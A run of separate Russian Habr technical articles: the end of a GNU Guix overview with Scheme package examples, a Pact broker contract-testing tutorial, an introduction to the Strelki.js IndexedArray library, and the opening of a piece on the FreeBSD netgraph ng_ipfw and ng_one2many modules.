В дистрибутивах GNU/Linux обычно отсутствуют вышеупомянутые преимущества Guix. Самые критичные недостатки:
* Отсутствие поддержки нескольких версий пакетов или «ад зависимостей». Скажем, последний mpv требует нового ffmpeg, но обновление ffmpeg ломает большинство других программ. Мы застряли перед дилеммой: либо ломаем некоторые пакеты, либо сохраняем старые версии. Хуже того, может вообще не оказаться подходящего пакета или поддержка ОС отсутствует. Эта проблема присуща большинству дистрибутивов, которые не могут гарантировать выполнение своей основной задачи: пакет для *любой* программы.
* Критичная зависимость от мейнтейнеров. Нефункциональное управление пакетами означает, что все пакеты нужно постоянно тестировать на совместимость. Это много тяжёлой работы для тех, на чьи плечи возложили эту задачу. На практике это означает, что качество управления пакетами в значительной степени зависит от людей. Дистрибутив без достаточного количества мейнтейнеров неизбежно пострадает и, возможно, умрёт. Это требование к рабочей силе нормально не масштабируется и по мере увеличения количества пакетов ведёт к увеличению сложности (и кодовой базы, и управления).
### Gentoo, \*BSD
У [Gentoo](https://www.gentoo.org/) и других дистрибутивов с менеджером пакетов [Portage](https://wiki.gentoo.org/wiki/Project:Portage) есть знаменитая функция: [флаги USE](https://wiki.gentoo.org/wiki/Project:Portage) для активации функций во всей системе (например, отключение звука, включение поддержки GUI и т. д.).
Флаги USE делают тривиальным включение и отключение функций от автора пакета (и преимущество в том, что они протестированы). С другой стороны, Portage не позволяет настраивать функции, не продуманные заранее. Например, если у пакета есть дополнительный звук, но автор не выставил соответствующий флаг, пользователь ничего не сможет с этим поделать (кроме создания нового определения пакета).
Для сравнения, Guix позволяет полную настройку всего, хотя и с немного бóльшим количеством кода Scheme. В псевдокоде это выглядит примерно так:
```
(loop-over (TARGET-PACKAGES)
(package
(inherit TARGET)
(changes-here... including patches, build options, etc.))
```
Такой код пакетно устанавливает определения для `TARGET-PACKAGES` с вашими изменениями. Ни одно из изменений не нужно вносить в определение пакета. В любое время пользователь сохраняет полный контроль над изменениями, которые могут быть внесены в пакеты.
Я любил Gentoo, но после перехода на Guix ограниченность Portage стала очевидной.
* Система флагов USE не позволяет настраивать незапланированные произвольные функции.
* Использование флагов добавляет целый класс сложности (см. довольно сложную [семантику atom](https://dev.gentoo.org/~zmedico/portage/doc/man/ebuild.5.html)) для описания и управления взаимоотношениями функций между пакетами. Guix полностью удаляет этот уровень сложности, используя Guile Scheme для программирования отношений.
Кроме того, Portage страдает от той же проблемы с отсутствием надлежащей поддержки нескольких версий, а флаги значительно увеличивают масштаб проблемы (частая жалоба на Portage): когда на некоторые зависимости распространяются несовместимые флаги USE, пользователю приходится вручную искать решение. Иногда это означает, что требуемая функция неприменима (по крайней мере, без существенной работы над определениями пакетов).
На практике Guix предоставляет предварительно скомпилированные пакеты — огромная экономия времени по сравнению с Gentoo (хотя Portage поддерживает распространение двоичных пакетов).
Системы \*BSD (например, FreeBSD) страдают от аналогичных проблем в `make config`.
### Nix
Nix стала историческим прорывом в исследовании операционных систем, а Guix почти все свои идеи позаимствовала оттуда. Сегодня Nix по-прежнему остаётся одной из лучших активных ОС. Вероятно, Guix вообще бы не существовала, если бы не один недостаток.
На мой взгляд, Guix решает основную проблему Nix: вместо собственного [предметно-ориентированного языка](https://en.wikipedia.org/wiki/Domain-specific_language) (DSL) тут применяется полноценный язык программирования Guile Scheme на основе Lisp.
«Внедрение собственного языка программирования» — очень распространённое заблуждение в разработке программного обеспечения. Это сильно ударило по многим проектам, где конфигурация или язык программирования страдали от следующих недостатков:
* ограниченная выразительность и возможности;
* ещё один язык для изучения (но не что-то очень полезное и универсальное), который требует от пользователя некоторых усилий и, таким образом, создаёт барьер входа;
* менее читабельный код (по крайней мере, поначалу);
* часто низкая производительность.
Есть огромное множество проектов на доморощенных или слишком ограниченных языках:
* XML, HTML (ещё лучше: [S-XML](https://en.wikipedia.org/wiki/SXML))
* Make, Autoconf, Automake, Cmake и др.
* Bash, Zsh, Fish (ещё лучше: Eshell или [scsh](https://github.com/scheme/scsh))
* JSON, TOML, YAML
* [Ebuild](https://wiki.gentoo.org/wiki/Ebuild) из Portage в Nix и многие другие синтаксические правила определений пакетов ОС
* Firefox, когда использовал XUL (с тех пор Mozilla отказалась от него) и большинство других доморощенных языков для расширений
* SQL
* Octave, R, PARI/GP, большинство научных программ (например, Common Lisp, Racket и другая Scheme)
* Регулярные выражения ([rx в Emacs](http://francismurillo.github.io/2017-03-30-Exploring-Emacs-rx-Macro/), [PEG в Racket](https://docs.racket-lang.org/peg/index.html) и др.)
* sed, AWK и др.
* Большинство конфигураций для init, включая systemd (ещё лучше: [GNU Shepherd](https://www.gnu.org/software/shepherd/))
* cron (ещё лучше: [mcron](https://www.gnu.org/software/mcron/))
* conky (не полностью программируемый, хотя это должна быть самая ожидаемая функция подобной программы)
* TeX, LaTeX (и все деривативы), Asymptote (ещё лучше: [scribble](https://docs.racket-lang.org/scribble/index.html), [skribilo](http://www.nongnu.org/skribilo/) — пока в разработке; по состоянию на январь 2019 года TeX/LaTeX по-прежнему используется как промежуточный шаг в подготовке PDF)
* Большинство программ с конфигурациями, которые не используют язык программирования общего назначения.
Повторное изобретение колеса, обычно, не самая хорошая идея. Когда дело доходит до таких важных инструментов, как языки программирования, у этого весьма драматические последствия. Требуются ненужные дополнительные усилия, возникают ошибки. Cообщество рассеивается. Более консолидированные сообщества более эффективны и лучше используют своё время, если улучшают существующие, хорошо разработанные языки программирования.
Не только для десктопа
======================
Guix поддерживает несколько архитектур (i686, x86\_64, ARMv7 и AArch64 по состоянию на январь 2019 года), и планирует поддержку большего количества ядер за пределами экосистемы Linux (скажем, варианты \*BSD, [GNU Hurd](https://www.gnu.org/software/hurd/index.html) или, может, ваша собственная система!).
Это делает Guix отличным инструментом для развёртывания (воспроизводимых) серверов и других специализированных систем. Думаю, во встроенных системах Guix может очень хорошо конкурировать с [OpenWRT](https://openwrt.org/) (хотя потребуется некоторая работа по портированию на встроенные системы).
Самовоспроизводимые live USB
============================
Выше я упомянул о `guix system disk-image`: например, он позволяет воссоздать текущую систему на USB-флэшке.
Таким образом клон текущей системы легко подключить в любом месте и реплицировать точную актуальную среду (за вычетом аппаратного обеспечения). Туда можно включить пользовательские данные: ключи PGP, электронную почту. Всё доступно сразу после загрузки.
Очевидно, что клонирование работает и дальше с той машины, на которой установлен клон: вместо «голой» Guix развёртывается полноценная ОС, готовая для работы.
Замена других пакетных менеджеров
=================================
### Emacs, Python, Ruby… и мощь `guix environment`
Guix может заменить любой менеджер пакетов, в том числе пакетные менеджеры языков программирования. У него несколько преимуществ:
* Повсеместная воспроизводимость.
* Повсеместные откаты.
* Не нужно изучать ещё один пакетный менеджер.
В этом месте нужно упомянуть `guix environment`. Эта команда настраивает временную среду только с определённым набором пакетов, как `virtualenv`. Киллер-фича в том, что она универсальна для всех языков и их комбинаций.
### TeXlive
(Дисклеймер: по состоянию на январь 2019 года система сборки TeXlive для Guix переделывается).
TeXlive удостоился отдельного упоминания, потому что он особенно ужасен :), что ещё раз подтверждает спасительную роль Guix!
Большинство операционных систем на базе Unix обычно распространяют TeXlive в составе наборов пакетов. Например, в Arch Linux есть десяток таких. Если вам нужны некоторые пакеты TeX из разных наборов, то Arch Linux не оставляет выбора, кроме как установить тысячи (возможно, ненужных) пакетов, а TeXlive занимает *много* места: сотни мегабайт.
В качестве альтернативы можно установить TeXlive вручную, но давайте посмотрим правде в глаза: `tlmgr` — просто плохой пакетный менеджер, и он требует утомительной дополнительной работы.
С помощью Guix пакеты TeXlive устанавливаются по отдельности, как и всё остальное, что помогает вам сохранить собственный набор пакетов TeXlive или даже создать спецификации виртуальной среды для компиляции каких-то конкретных документов.
Ядро
====
Многие операционные системы предлагают лишь ограниченную поддержку нестандартных ядер. Если пользователи хотят отойти от дефолтного ядра, то нестандартное ядро приходится поддерживать вручную.
Известно, что Gentoo «требует» пользовательское ядро как рекомендуемый (обязательный?) шаг установки. Однако вряд ли это обязательное требование, и пользователи должны сами поддерживать конфигурацию ядра.
В Guix ядро — полностью настраиваемый обычный пакет, как и любой другой. Можно всё настроить и передать файл конфигурации ядра в определение пакета.
Например, ниже приведены определения несвободного ядра Linux с драйвером `iwlwifi` (предупреждение: настоятельно не рекомендую использовать проприетарные драйверы, так как они представляют серьёзную угрозу вашей приватности и свободе):
```
(define-module (ambrevar linux-custom)
#:use-module (guix gexp)
#:use-module (guix packages)
#:use-module (guix download)
#:use-module (guix git-download)
#:use-module (guix build-system trivial)
#:use-module ((guix licenses) #:prefix license:)
#:use-module (gnu packages linux)
#:use-module (srfi srfi-1))
(define-public linux-nonfree
(package
(inherit linux-libre)
(name "linux-nonfree")
(version (package-version linux-libre))
(source
(origin
(method url-fetch)
(uri
(string-append
"https://www.kernel.org/pub/linux/kernel/v4.x/"
"linux-" version ".tar.xz"))
(sha256
(base32
"1lm2s9yhzyqra1f16jrjwd66m3jl43n5k7av2r9hns8hdr1smmw4"))))
(native-inputs
`(("kconfig" ,(local-file "./linux-custom.conf"))
,@(alist-delete "kconfig" (package-native-inputs linux-libre))))))
(define (linux-firmware-version) "9d40a17beaf271e6ad47a5e714a296100eef4692")
(define (linux-firmware-source version)
(origin
(method git-fetch)
(uri (git-reference
(url (string-append "https://git.kernel.org/pub/scm/linux/kernel"
"/git/firmware/linux-firmware.git"))
(commit version)))
(file-name (string-append "linux-firmware-" version "-checkout"))
(sha256
(base32
"099kll2n1zvps5qawnbm6c75khgn81j8ns0widiw0lnwm8s9q6ch"))))
(define-public linux-firmware-iwlwifi
(package
(name "linux-firmware-iwlwifi")
(version (linux-firmware-version))
(source (linux-firmware-source version))
(build-system trivial-build-system)
(arguments
`(#:modules ((guix build utils))
#:builder (begin
(use-modules (guix build utils))
(let ((source (assoc-ref %build-inputs "source"))
(fw-dir (string-append %output "/lib/firmware/")))
(mkdir-p fw-dir)
(for-each (lambda (file)
(copy-file file
(string-append fw-dir (basename file))))
(find-files source
"iwlwifi-.*\\.ucode$|LICENSE\\.iwlwifi_firmware$"))
#t))))
(home-page "https://wireless.wiki.kernel.org/en/users/drivers/iwlwifi")
(synopsis "Non-free firmware for Intel wifi chips")
(description "Non-free iwlwifi firmware")
(license (license:non-copyleft
"https://git.kernel.org/cgit/linux/kernel/git/firmware/linux-firmware.git/tree/LICENCE.iwlwifi_firmware?id=HEAD"))))
```
Кастомное ядро и встроенное ПО можно условно включить в текущую конфигурацию системы (какой-нибудь файл `config.scm`):
```
(define *lspci*
(let* ((port (open-pipe* OPEN_READ "lspci"))
(str (get-string-all port)))
(close-pipe port)
str))
(operating-system
(host-name "...")
;;...
(kernel (cond
((string-match "Network controller: Intel Corporation Wireless 8888"
*lspci*)
linux-nonfree)
(#t linux-libre)))
(firmware (append (list linux-firmware-iwlwifi)
%base-firmware))
```
Затем выполните следующие действия для установки новой конфигурации системы:
```
sudo -E guix system reconfigure config.scm
```
Даже не устанавливая новое ядро, вы можете напрямую создать образ, готовый к загрузке с USB-накопителя.
Игры
====
Поскольку пакеты Guix используют передовые технологии (например, последние версии Mesa) и допускают полную настройку ядра, это идеальная платформа для игр и, в частности, для *упаковки* игр!
К сожалению, игровая индустрия пока далека от философии свободного программного обеспечения, и очень немногие игры упакованы в рамках официального проекта Guix.
Хотя Guix выступает за свободные программы и не приемлет в своём репозитории никакой проприетарщины, по иронии судьбы, многие продвинутые функции делают Guix идеальным менеджером пакетов для несвободных программ.
Некоторые из преимуществ:
* `guix environment` позволяет запускать любое приложение в изолированном контейнере, который ограничивает доступ к сети, скрывает файловую систему (нет риска, что проприетарная программа украдёт какой-то из ваших файлов, скажем, биткоин-кошелек или ключи PGP) и даже информацию системного уровня, такую как имя пользователя. Это необходимо для запуска любой ненадёжной программы с закрытым исходным кодом.
* Функциональное управление пакетами: программы с закрытым исходным кодом обычно не выдерживают проверку временем и ломаются, когда зависимость библиотеки изменяет свой API. Поскольку Guix определяет пакеты поверх любой версии любой зависимости (без конфликтов с текущей системой), Guix позволяет создавать пакеты для игр с закрытым исходным кодом, которые будут работать вечно.
* Воспроизводимая среда: программы с закрытым исходным кодом обычно плохо переносятся и могут вести себя по-разному в системах с немного разными зависимостями. Свойство воспроизводимости Guix подразумевает, что если мы заставим пакет Guix работать один раз, то он будет работать всегда (если не считать поломку железа или изменение аппаратной конфигурации).
По этим причинам Guix — идеальный инструмент для упаковки и распространения игр с закрытым исходным кодом.
Впрочем, это большая отдельная тема, которую лучше оставить для другой статьи.
Хитрости и советы
=================
### Emacs-Guix
Одно из удивительных преимуществ Guix — интерфейс [Emacs-Guix](https://emacs-guix.gitlab.io/website/), который позволяет устанавливать и удалять пакеты, выборочно обновлять, искать, переходить к определению пакета, управлять поколениями, печатать «различия» между ними и многое другое.
У него есть режимы разработки для сборки и программирования, а также специальная интерактивная среда Scheme [REPL](https://en.wikipedia.org/wiki/Read%E2%80%93eval%E2%80%93print_loop). Это уникальный пользовательский интерфейс для операционной системы.
Есть ещё интерфейс [Helm System Packages](https://github.com/emacs-helm/helm-system-packages), который частично перекрывается с Emacs-Guix, но мне он кажется более приятным для быстрого поиска пакетов и быстрых операций.
### Хранение данных
Поскольку Guix сохраняет несколько поколений системных конфигураций (включая всю историю пакетов), то требует больше места на диске, чем другие операционные системы.
По моему опыту, в 2018 году раздел 25 ГБ приходилось чистить примерно раз в месяц (с учётом, что у меня большие запросы про количеству пакетов), а раздел 50 ГБ можно не трогать целый год.
Для очистки хранилища удобно использовать команду `guix gc`, но она может удалить «слишком много пакетов», то есть пакеты, которые понадобятся сразу при следующем обновлении.
В Emacs-Guix есть команда `m-x guix-store-dead-item`, которая сортирует мёртвые пакеты по размеру и позволяет удалять их по отдельности.
Если нужно проанализировать зависимости, посмотрите на `guix gc --references` и `guix gc --requisites`. Это можно комбинировать с результатом выдачи `guix build ...`, чтобы увидеть разные элементы графа зависимостей.
Например, чтобы просмотреть код одного из скриптов сборки, откройте файл, возвращаемый следующей командой:
```
$ guix gc --references $(guix build -d coreutils) | grep builder
/gnu/store/v02xky6f5rvjywd7ficzi5pyibbmk6cq-coreutils-8.29-guile-builder
```
### Генерация манифеста
Часто бывает полезно сгенерировать *манифест* всех пакетов, установленных в каком-то профиле.
Это можно сделать с помощью следующего скрипта Guile:
```
(use-modules (guix profiles)
(ice-9 match)
(ice-9 pretty-print))
(match (command-line)
((_ where)
(pretty-print
`(specifications->manifest
',(map manifest-entry-name (manifest-entries (profile-manifest where))))))
(_ (error "Please provide the path to a Guix profile.")))
```
Например, запускаете его на профиле `~/.guix-profile`:
```
$ guile -s manifest-to-manifest.scm ~/.guix-profile
```
В моих [dotfiles](https://gitlab.com/ambrevar/dotfiles) отслеживается история установленных пакетов. Поскольку я также сохраняю версию Guix, то могу вернуться к точному состоянию своей системы в любой момент в прошлом.
Ссылки
======
Некоторые веб-интерфейсы:
* [Список пакетов Guix](https://guix-hpc.bordeaux.inria.fr/browse?)
* [Трекер сообщений об ошибках](https://issues.guix.info/)
* [Пожелания](https://libreplanet.org/wiki/Group:Guix/Wishlist)
Документы:
* [«Обкатка кода (staging) в GNU Guix»](https://arxiv.org/abs/1709.00833) (почему Lisp сыграл важную роль в разработке)
* [Заметки Петра](https://github.com/pjotrp/guix-notes/blob/master/WORKFLOW.org)
Неофициальные пакеты:
* [Канал пакета Chromium](https://gitlab.com/mbakke/guix-chromium)
* [Пакеты Олега Пыхалова](https://notabug.org/wigust/guix-wigust/)
|
https://habr.com/ru/post/436938/
| null |
ru
| null |
# Тестирование контракта потребителя сервиса — часть 4
В этой серии блогов мы рассмотрели:
1. [Введение](https://swapnilsankla.me/post/consumer-driven-contract-tests-part-1/)
2. [Тесты контрактов на основе Pact для сервисов, взаимодействующих синхронно](https://swapnilsankla.me/post/consumer-driven-contract-tests-part-2/)
3. [Тесты контрактов на основе Pact для сервисов, взаимодействующих асинхронно](https://swapnilsankla.me/post/consumer-driven-contract-tests-part-3/)
Давайте перейдем к следующей теме. Pact брокер!
До сих пор мы видели, что потребитель публикует контракт в локальной директории. Провайдер забирает контракт из этой директории. Это самый простой способ обмена контрактами. И, возможно, наиболее подходящий в процессе его изучения. Однако в реальных проектах это не сработает. Часто в разработке участвуют несколько человек, команд, поэтому нам нужно централизованное место для размещения всех контрактов. Pact Foundation решил эту проблему с помощью **брокера**. Брокер - это структура, где потребители могут публиковать свои контракты, а провайдеры - результаты проверки.
Установить брокер локально очень просто. Мы будем использовать docker-compose. Ниже приведена конфигурация.
```
version: "2.4"
services:
postgres-db:
image: postgres:latest
container_name: postgres-db
ports:
- "5432:5432"
environment:
POSTGRES_USER:
POSTGRES\_PASSWORD:
POSTGRES\_DB: pactdb
pact-broker:
image: pactfoundation/pact-broker:latest
container\_name: pact-broker
depends\_on:
- postgres-db
ports:
- "9292:9292"
environment:
PACT\_BROKER\_DATABASE\_URL: "postgres://:@postgres-db/pactdb"
```
Выполните команду docker-compose up и откройте домашнюю страницу брокера (<http://localhost:9292>).
На домашней странице брокера отображается образец контракта между Example API и Example App. На ней отображаются детали, например, когда потребитель опубликовал контракт и провайдер проверил его. Здесь также отображается статус Webhook. Мы рассмотрим это позже.
Теперь у нас есть локально запущенный брокер, так что давайте его использовать. Сначала нам нужно добавить поддержку публикации контракта в брокере. Обновите build.gradle, следуя приведенным ниже инструкциям.
```
buildscript {
dependencies {
classpath("au.com.dius.pact.provider:gradle:4.1.0")
}
}
apply plugin: "au.com.dius.pact"
pact {
publish {
pactBrokerUrl = "http://localhost:9292"
pactDirectory = "target/pacts"
}
}
```
По сути, мы добавили gradle-плагин pact. И настроили gradle-задачу pactPublish. Напомним, что потребительские тесты генерируют контракты. И они сохраняются в каталоге target/pacts. Теперь мы опубликуем эти контракты в брокере. Запустите gradle-задачу pactPublish и обновите страницу брокера. На ней вы найдете зарегистрированные контракты. Поздравляем!
Давайте обновим тесты провайдера. Помните, как мы передаем информацию о контракте в тесты провайдера? С помощью аннотации, как показано ниже.
```
@PactFolder("target/pacts")
@Provider("fraud_service")
```
Замените аннотацию pactFolder на
```
@PactBroker(host = "localhost", port = "9292")
```
Запустите тесты провайдера. Теперь даже результат проверки начнет отображаться на брокере. Нажмите на кнопку 'View pact matrix'. Должна появиться информация о верификации, как показано ниже.
На сегодня это все. Мы рассмотрели, что такое pact broker, как установить его на локальной машине с помощью docker compose. Мы также рассмотрели публикацию контракта и верификацию результатов проверки на брокере. В следующем блоге мы расскажем о том, как обеспечить выполнение этих проверок контракта с помощью брокера.
---
> Материал подготовлен в рамках курса [«Разработчик на Spring Framework».](https://otus.pw/LF0H/)
>
> Всех желающих приглашаем на второй день двухдневного онлайн-интенсив **«Работа с реляционными БД с помощью Spring»**. На двух занятиях вы узнаете, как работать с БД помощью разных технологий: JDBC, JPA + Hiberante, а также разберемся, какую помощь предлагают в этом различные проекты Spring - Spring JDBC, Spring ORM, Spring Data JPA и Spring Data JDBC
>
> [**→ РЕГИСТРАЦИЯ**](https://otus.pw/YHLv/)
>
>
|
https://habr.com/ru/post/573532/
| null |
ru
| null |
# Strelki.js — еще одна библиотека для работы с массивами
При программировании на JavaScript часто возникает проблема выбора оптимального представления данных в программе: массивы, хеши, массивы хешей, хеши массивов и т.д. Одни и те же данные могут быть загружены в различные комбинации структур, но трудность выбора обычно заключается в том, как найти компромисс между простотой кода для доступа к этим данным, скоростью работы и количеством требуемой памяти.
В статье рассказано о моей попытке поиска универсального решения.
Пусть нам, например, необходимо отобразить некоторые данные из двух связанных таблиц:
Стандартный подход обычно состоит из следующих шагов:
1. На сервере написать SQL-запрос с JOIN-ом
2. На сервере добавить для него функцию, возвращающую массив объектов, и сделать ее доступной через routes
3. На клиенте добавить AJAX-вызов к серверу, и отрисовку полученного результата в таблицу
Недостатки стандартного подхода мне видятся в следующем:
1. SQL-запрос и функция-обертка должны учитывать возможные коллизии имён колонок, т. е. нельзя просто сделать "**SELECT \***".
2. Ответ сервера будет содержать большое количество дублирующихся записей из связанных таблиц. В нашем примере запись с ключем «sales» из таблицы departments будет передана два раза.
3. При связи большого количества таблиц мы или получим длинные ключи, что приведет к увеличению бесполезного расхода памяти и трафика по передаче этих ключей, или имена колонок в SQL-запросе необходимо перечислять вручную, что приведет к дополнительным издержкам при внесении изменений в структуру БД.
4. Количество функций API для получения данных из связанных таблиц может значительно превысить количество таблиц, что ведет к раздуванию кода, и, как следствие, издержкам.
Нестандартный подход — получить таблицы по отдельности и связать их на клиенте. Иногда это можно сделать легко. Например, в приведенной выше структуре можно загрузить таблицу «departments» в хеш, и осуществлять доступ по «id». Но чаще этого сделать нельзя, и приходится пользоваться различными функциями поиска типа Array.find или Array.indexOf.
Работая над своим очередным проектом, и в очередной раз ломая голову над тем, как мне лучше организовать данные, чтобы избежать недостатков обоих подходов, я решил, что настало время разрубить этот узел раз и навсегда.
Подход, при котором сервер выдает нам нормализованные таблицы, а мы потом их связываем в JavaScript-коде, показался мне более привлекательным. Не хватало только инструмента, чтобы их легко связывать. Я отложил все дела и сел его писать.
Требования получились следующие:
* Инструмент должен позволять мне создавать произвольные индексы на массив, и поддерживать их в актуальном состоянии.
* Инструмент должен уметь искать в массиве по индексам, по возможности без медленных операций перебора элементов.
* Интрумент должен уметь соединять массивы по индексированным полям в соответствии с неким объектом-декларацией, что-то типа оператора JOIN в SQL, но без парсинга запросов и всей мощи, предлагаемой SQL.
Так появились Strelki.js, и пока единственный в нем класс — IndexedArray.
Итак, создадим новый IndexedArray:
```
var emp = new StrelkiJS.IndexedArray();
```
Добавим в него данные:
```
emp.put({
id: "001",
first_name: "John",
last_name: "Smith",
dep_id: "sales",
address_id: "200"
});
emp.put({
id: "002",
first_name: "Ivan",
last_name: "Krasonov",
dep_id: "sales",
address_id: "300"
});
```
Посмотрим, что внутри:
Под капотом IndexedArray представляет из себя хеш (this.data), куда сохраняются ссылки на объекты. В качестве ключа хеша используется поле «id» сохраняемого элемента, которое должно быть уникально. Так как многие современные серверные фреймворки также используют поле «id» подобным образом, то это ограничение не должно стать проблемой.
Кроме того, в IndexedArray имеется хеш this.indexData. Ключи этого хеша содержат название индексируемого поля, а значения — хеши с ids соответствующих элементов основного хеша. Пока индексов у нас нет, поэтому this.indexData пуст.
Добавим индекс:
```
emp.createIndex("dep_id");
```
Посмотрим this.indexData:
this.indexData теперь содержит ключ «dep\_id», который содержит данные индекса в виде вложенных хешей.
Поищем что-нибудь по индексу:
```
> emp.findIdsByIndex("dep_id","sales")
< ["001", "002"]
```
В отличие от функций типа Array.find, индексный поиск не использует перебор данных, а только хеши, что позволяет добиться высокой скорости. Замеры, правда, я пока не делал, но должно работать быстро.
Добавим еще данных:
```
emp.put({
id: "003",
first_name: "George",
last_name: "Clooney",
dep_id: "hr",
address_id: "400"
});
emp.put({
id: "004",
first_name: "Dev",
last_name: "Patel",
dep_id: "board",
address_id: "500"
});
```
Найдем элементы по индексу, и сформируем из них новый IndexedArray:
```
var sales_emp = emp.where("dep_id","sales");
```
Создадим и заполним еще один IndexedArray:
```
var adr = new StrelkiJS.IndexedArray();
adr.put({ id: "200", address: "New Orleans, Bourbon street, 100"});
adr.put({ id: "300", address: "Moscow, Rojdestvensko-Krasnopresnenskaya Naberejnaya"});
adr.put({ id: "500", address: "Bollywood, India"});
```
### Связывание массивов
Для описания связи данного IndexedArray с любым другим служит объект следующего вида:
```
{
from_col: "address_id", // поле в данном IndexedArray
to_table: adr, // ссылка на связываемую таблицу
to_col: "id", // "id", или другое индексированное поле в связываемой таблице
type: "outer", // "outer" для LEFT OUTER JOIN, или null для INNER JOIN
join: // null или ссылка на массив точно таких же объектов описания связи, для построения вложенных JOIN-ов
}
```
Присоединим adr к emp JOIN-ом:
```
var res = emp.query([
{
from_col: "address_id", // name of the column in "emp" table
to_table: adr, // reference to another table
to_col: "id", // "id", or other indexed field in "adr" table
type: "outer", // "outer" for LEFT OUTER JOIN, or null for INNER JOIN
//join: [ // optional recursive nested joins of the same structure
// {
// from_col: ...,
// to_table: ...,
// to_col: ...,
// ...
// },
// ...
//],
}
])
```
Аналогичный оператор на SQL выглядел бы так:
```
SELECT ...
FROM emp
LEFT OUTER JOIN adr ON emp.address_id = adr.id
```
Результат будет выглядеть так:
```
[
[
{"id":"001","first_name":"John","last_name":"Smith","dep_id":"sales","address_id":"200"},
{"id":"200","address":"New Orleans, Bourbon street, 100"}
],
[
{"id":"002","first_name":"Ivan","last_name":"Krasonov","dep_id":"sales","address_id":"300"},
{"id":"300","address":"Moscow, Rojdestvensko-Krasnopresnenskaya Naberejnaya"}
],
[
{"id":"003","first_name":"George","last_name":"Clooney","dep_id":"hr","address_id":"400"},
null
],
[
{"id":"004","first_name":"Dev","last_name":"Patel","dep_id":"board","address_id":"500"},
{"id":"500","address":"Bollywood, India"}
]
]
```
**Более сложный пример связывания 3-х таблиц**
```
var dep = new StrelkiJS.IndexedArray();
dep.createIndex("address");
dep.put({id:"sales", name: "Sales", address_id: "100"});
dep.put({id:"it", name: "IT", address_id: "100"});
dep.put({id:"hr", name: "Human resource", address_id: "100"});
dep.put({id:"ops", name: "Operations", address_id: "100"});
dep.put({id:"warehouse", name: "Warehouse", address_id: "500"});
var emp = new StrelkiJS.IndexedArray();
emp.createIndex("dep_id");
emp.put({id:"001", first_name: "john", last_name: "smith", dep_id: "sales", address_id: "200"});
emp.put({id:"002", first_name: "Tiger", last_name: "Woods", dep_id: "sales", address_id: "300"});
emp.put({id:"003", first_name: "George", last_name: "Bush", dep_id: "sales", address_id: "400"});
emp.put({id:"004", first_name: "Vlad", last_name: "Putin", dep_id: "ops", address_id: "400"});
emp.put({id:"005", first_name: "Donald", last_name: "Trump", dep_id: "ops", address_id: "600"});
var userRoles = new StrelkiJS.IndexedArray();
userRoles.createIndex("emp_id");
userRoles.put({id:"601", emp_id: "001", role_id: "worker"});
userRoles.put({id:"602", emp_id: "001", role_id: "picker"});
userRoles.put({id:"603", emp_id: "001", role_id: "cashier"});
userRoles.put({id:"604", emp_id: "002", role_id: "cashier"});
var joinInfo = [
{
from_col: "id",
to_table: emp,
to_col: "dep_id",
type: "outer",
join: [{
from_col: "id",
to_table: userRoles,
to_col: "emp_id",
type: "outer",
}],
},
// {
// from_col: "id",
// to_table: assets,
// to_col: "dep_id",
// }
];
//var js1 = IndexedArray.IndexedArray.doLookups(dep.get("sales"),joinInfo);
var js = dep.where(null,null,function(el) { return el.id === "sales"}).query(joinInfo);
// result
[
[
{"id":"sales","name":"Sales","address_id":"100"},
{"id":"001","first_name":"john","last_name":"smith","dep_id":"sales","address_id":"200"},
{"id":"601","emp_id":"001","role_id":"worker"}
],
[
{"id":"sales","name":"Sales","address_id":"100"},
{"id":"001","first_name":"john","last_name":"smith","dep_id":"sales","address_id":"200"},
{"id":"602","emp_id":"001","role_id":"picker"}
],
[
{"id":"sales","name":"Sales","address_id":"100"},
{"id":"001","first_name":"john","last_name":"smith","dep_id":"sales","address_id":"200"},
{"id":"603","emp_id":"001","role_id":"cashier"}
],
[
{"id":"sales","name":"Sales","address_id":"100"},
{"id":"002","first_name":"Tiger","last_name":"Woods","dep_id":"sales","address_id":"300"},
{"id":"604","emp_id":"002","role_id":"cashier"}
],
[
{"id":"sales","name":"Sales","address_id":"100"},
{"id":"003","first_name":"George","last_name":"Bush","dep_id":"sales","address_id":"400"}
,null
]
]
```
Как видим, связывание массивов превратилось из функций с циклами и переборами в простую декларацию связей.
### Ограничения
IndexedArray не хранит копии объектов, а только лишь указатели на них (отсюда и название Strelki). Поэтому, если объект был помещен в IndexedArray методом put(), а затем изменен, информация в индексах может стать некорректной. Чтобы избежать этой ситуации необходимо удалить объект из IndexedArray методом del() перед изменением.
Связывание может осуществляться только по индексированному полю, либо по полю «id».
Некоторые методы объекта IndexedArray (например length()) требуют построения массива ключей «id». При этом массив ключей сохраняется в объекте для возможного повторного использования. При каждом изменении массива (методы put(), del(), и т.п.) массив ключей обнуляется. Поэтому чередование методов, которые создают и затем обнуляют массив ключей, может привести проблемам производительности на больших наборах данных.
### Планы
StrelkiJS создан для облегчения написания основного проекта KidsTrack, о котором я писал на хабре ранее. Поэтому все решения о новом функционале пока диктуются потребностями родительского проекта. В ближайших планах — сделать более удобный доступ к колонкам в результатах JOIN-а,
### Где скачать
Github: [github.com/amaksr/Strelki.js](https://github.com/amaksr/Strelki.js)
Песочница: [www.izhforum.info/strelkijs](https://www.izhforum.info/strelkijs/)
|
https://habr.com/ru/post/301258/
| null |
ru
| null |
# Netgraph ipfw и гибкий учет трафика через netflow
И снова здравствуйте!
Продолжим обзор модулей FreeBSD netgraph.
Сегодня у нас в гостях ng\_ipfw, ng\_one2many и старый друг ng\_netflow.
С их помощью попробуем посчитать трафик по определенным условиям и посмотрим как это можно использовать на практике.
### Что за модули?
**ng\_ipfw** — модуль, создающий интерфейс для доступа к подсистеме netgraph из фаервола IPFW. При загрузке в ядро, модуль автоматически создает свой узел в пространстве подсистемы netgraph с именем «ipfw:», и может присутствовать только в единственном экземпляре. Ng\_ipfw принимает подключения к произвольным номерным хукам, номера хуков указываются в правилах ipfw. Каждый входящий в модуль пакет тэгируется по нескольким параметрам (ipfw правило, интерфейс, направление), для того чтобы его можно было идентифицировать при возврате обратно в ipfw. Не тэгированные пакеты, возвращаемые в фаервол, уничтожаются. Контрольных сообщений модуль не принимает.
**ng\_one2many** — модуль, позволяющий распределять пакеты по нескольким подключениям. Он принимает подключения к одному хуку «one» и к многочисленным «many0», «many1», «manyN»… Пока существует два алгоритма распределения пакетов внутри модуля.
1. Пакеты входящие в «one» поочередно выходят через разные «manyN» (xmit\_roundrobin). Все пакеты входящие в «manyN» выходят в «one».
2. Пакеты входящие в «one» выходят копиями через все «manyN» (xmit\_all). Все пакеты входящие в «manyN» выходят в «one». (похоже на работу ng\_hub).
